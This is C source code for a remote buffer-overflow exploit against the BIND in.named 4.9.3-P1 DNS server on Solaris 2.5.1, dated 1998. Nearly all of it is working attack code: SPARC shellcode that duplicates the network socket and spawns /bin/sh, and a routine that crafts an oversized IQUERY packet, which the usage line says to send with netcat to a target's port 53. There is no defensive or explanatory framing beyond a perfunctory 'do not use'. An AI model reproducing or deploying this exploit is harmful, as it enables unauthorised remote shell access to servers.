/* private */
/*
  remote in.named 4.9.3-P1 exploit Example for Solaris 2.5.1 (do not use!.)
  4-May-1998 by stran9er
  info about how to make dns request packet from:
    bof-test.c written solely by Joshua J. Drake (jdrake@pulsar.net) 
  bug in: /in.named/ns_req.c:ns_req()
  shellcode based/riped on/from dropstatd-sol24.c_by_unknown_author
*/

#define FRAME1_UPLEN   0x200
#define SHELLC_DOWNSET 0x100
#define BUF_LEN        (FRAME1_UPLEN-16)
#define FRAME2_LEN     sizeof(frame2)
#define BUF_BEGIN      0xeffff730

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
#include <arpa/nameser.h>

#define SPARC_JMP       0x10800000
#define SPARC_CALL      0x40000000

char shellc[]=
 "\x90\x1A\xC0\x0F" /** xor  %o3, %o7, %o0 */
 "\x90\x02\x20\x08" /** add  %o0, 8, %o0 */
 "\x92\x02\x20\x0F" /** add  %o0, 0xf, %o1 */
 "\xD0\x23\xBF\xF8" /** st  %o0, [ %sp + -8 ] */
 "\xD6\x23\xBF\xFC" /** st  %o3, [ %sp + -4 ] */
 "\xda\x02\x20\x78" /*+ ld  [ %o0 + 0x78 ], %o5 */ /* !! */
 "\x90\x10\x00\x0d" /*+ mov  %o5, %o0 */
 "\x92\x10\x20\x04" /*+ mov F_SETFL, %o1 */
 "\x94\x10\x20\x02" /*+ mov 2, %o2  !remove damn FNDELAY mode.. */
 "\x82\x10\x20\x3e" /*+ mov 62, %g1 !fcntl()*/
 "\x91\xd0\x20\x08" /*+ ta 8 */
 "\x98\x1A\xC0\x0b" /** xor  %o3, %o3, %o4 */
 "\x82\x10\x20\x06" /** mov  6, %g1	! SYS_close */
 "\x90\x1A\xC0\x0c" /** xor  %o3, %o4, %o0 */
 "\x91\xd0\x20\x08" /*+ ta 8 */
 "\x80\xA3\x20\x08" /*+ cmp %o4, 8 */
 "\x12\xBF\xFF\xFD" /** bne  -3 */
 "\x98\x03\x20\x01" /** inc  %o4 */
 "\x98\x1A\xC0\x0b" /** xor  %o3, %o3, %o4 */
 "\x82\x10\x20\x29" /** 0x29, %g1	! SYS_dup */
 "\x90\x10\x00\x0d" /*+ mov  %o5, %o0 */
 "\x91\xd0\x20\x08" /*+ ta 8 */
 "\x80\xA3\x20\x02" /** cmp  %o4, 2 */
 "\x12\xBF\xFF\xFD" /** bne -3 */
 "\x98\x03\x20\x01" /** inc  %o4 */
 "\xD0\x03\xBF\xF8" /** ld  [ %sp + -8 ], %o0 */
 "\x92\x23\xA0\x08" /** sub  %sp, 8, %o1 */
 "\x94\x23\xA0\x04" /** sub  %sp, 4, %o2 */
 "\x82\x10\x20\x3b" /** mov  0x3b, %g1	! SYS_execve */
 "\x91\xd0\x20\x08" /*+ ta 8 */
 "\x82\x10\x20\x01" /*+ mov 1, %g1 	! _exit */
 "\x91\xd0\x20\x08" /*+ ta 8 */
 "\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b" /* +128 */
 "\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b"
 "\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b"
 "\x40\x00\x00\x02" /* call +2 */ /* entry point for sol2.5 */
 "\x01\x00\x00\x00" /*+ nop */
 "\x90\x10\x00\x0F" /*+ mov  %o7, %o0 */
 "\xda\x02\x20\xA4" /*+ ld  [ %o0 + 0xA4 ], %o5 */ /* !! */
 "\xda\x22\x20\xAC" /*+ st  %o5, [ %o0 + 0xAC ] */ /* !! */
 "\x10\x80\x00\x03" /*+ b +3 */
 "\x96\x1A\xC0\x0b" /*+ xor  %o3, %o3, %o3 */
 "\x96\x1A\xC0\x0b" /*+ will be damaged */
 "\x96\x1A\xC0\x0b" /** xor  %o3, %o3, %o3 */ /* entry point for sol2.5.1 */
 "\x96\x1A\xC0\x0b" /** xor  %o3, %o3, %o3 */
//"\x00\x00\x00\x00" /*debug trap*/
 "\x9C\x23\xA1\x80" /** sub  %sp, 0x180, %sp */
 "\x7F\xFF\xFF\xC9" /*+ call -55 */
 "\x96\x1A\xC0\x0b" /** xor  %o3, %o3, %o3 */
 "/bin"
 "/sh\x00";
/** <- original code */
/*+ <- my modifications */

unsigned long int frame2[] = {
  0xefffe000,0x00000000,0x00000001,0xefffe000,
  0x00000000,0x00000000,0x00000000,0x00000000,
  0xefffe000,0xefffe000,0xefffe000,0xefffe000,
  0xefffe000,0xffffffff,0xefffe000,0x12345678 };

typedef struct {
	unsigned short int	r_class;		/* class number */
	unsigned short int	r_type;			/* type number */
	unsigned long int	r_ttl;			/* time to live */
	unsigned short int	r_size;			/* size of data area */
	char r_data[FRAME1_UPLEN+FRAME2_LEN-2-2-4-2];	/* pointer to data */
} rrecord;

main(int argc, char **argv) {
   HEADER *h;
   rrecord *rr;
   char db[sizeof(HEADER)+sizeof(rrecord)+2];
   char *buf, *ptr;
   unsigned long int *lptr, *lptrf;
   unsigned char cat[]="no";
   short int *buflen;
   unsigned long stack = BUF_BEGIN, offset;
   int o,b,c,t;

   fprintf (stderr, "* Solaris 2.5.1 in.named 4.9.3-P1 exploit example by stran9er \n");
   if ( (argc<2) ) {
     fprintf (stderr, "usage: (%s 0 ;cat) | netcat target 53\n",argv[0]);
     exit(1);
   }
   offset=atoi(argv[1]);
   stack+=offset;
   fprintf(stderr,"\nAddress: 0x%x Offset: %d\n",stack, offset);
   buf=db;
   memset(buf, 0, sizeof(db));
   buflen=(short int *)buf;
   *buflen=htons(sizeof(db)-2);
   h = (HEADER *)(buf+2);
   h->id = rand() & 0xfff;
   h->opcode = IQUERY;
   h->ancount = htons(1);
   ptr=(char *)h+sizeof(HEADER);
   rr=(rrecord *)((char *)h+sizeof(HEADER)+1);
   rr->r_class= htons(C_IN);
   rr->r_type = htons(T_A);
   rr->r_size = htons(sizeof(rr->r_data)-1);
   lptr = (unsigned long int *)(ptr+FRAME1_UPLEN-BUF_LEN);
#define CALL_OFFSET 52+(FRAME1_UPLEN-SHELLC_DOWNSET-16)/4
   for(c=0;c<(BUF_LEN/4);c++)
            *lptr++ = htonl(SPARC_CALL+CALL_OFFSET-c);
   for(c=0;c<((sizeof(frame2)/4));c++) {
    if (frame2[c]==0x12345678) frame2[c]=stack;
    *lptr++ = htonl(frame2[c]);
   }
   lptr = (unsigned long int *)(ptr+FRAME1_UPLEN-SHELLC_DOWNSET);
   memcpy((char *)lptr,shellc,sizeof(shellc)-1);
 /*** configure Solaris 2.5 entry points for zero offset ***/
  lptr = (unsigned long int *)(ptr+FRAME1_UPLEN-SHELLC_DOWNSET+128-356);
  *lptr = htonl(SPARC_CALL+(356/4)); /* sol2.5 restarted */
  lptr = (unsigned long int *)(ptr+FRAME1_UPLEN-SHELLC_DOWNSET+128-308);
  *lptr = htonl(SPARC_CALL+(308/4)); /* sol2.5 first */
   write(1,buf,sizeof(db));
}
/* private */
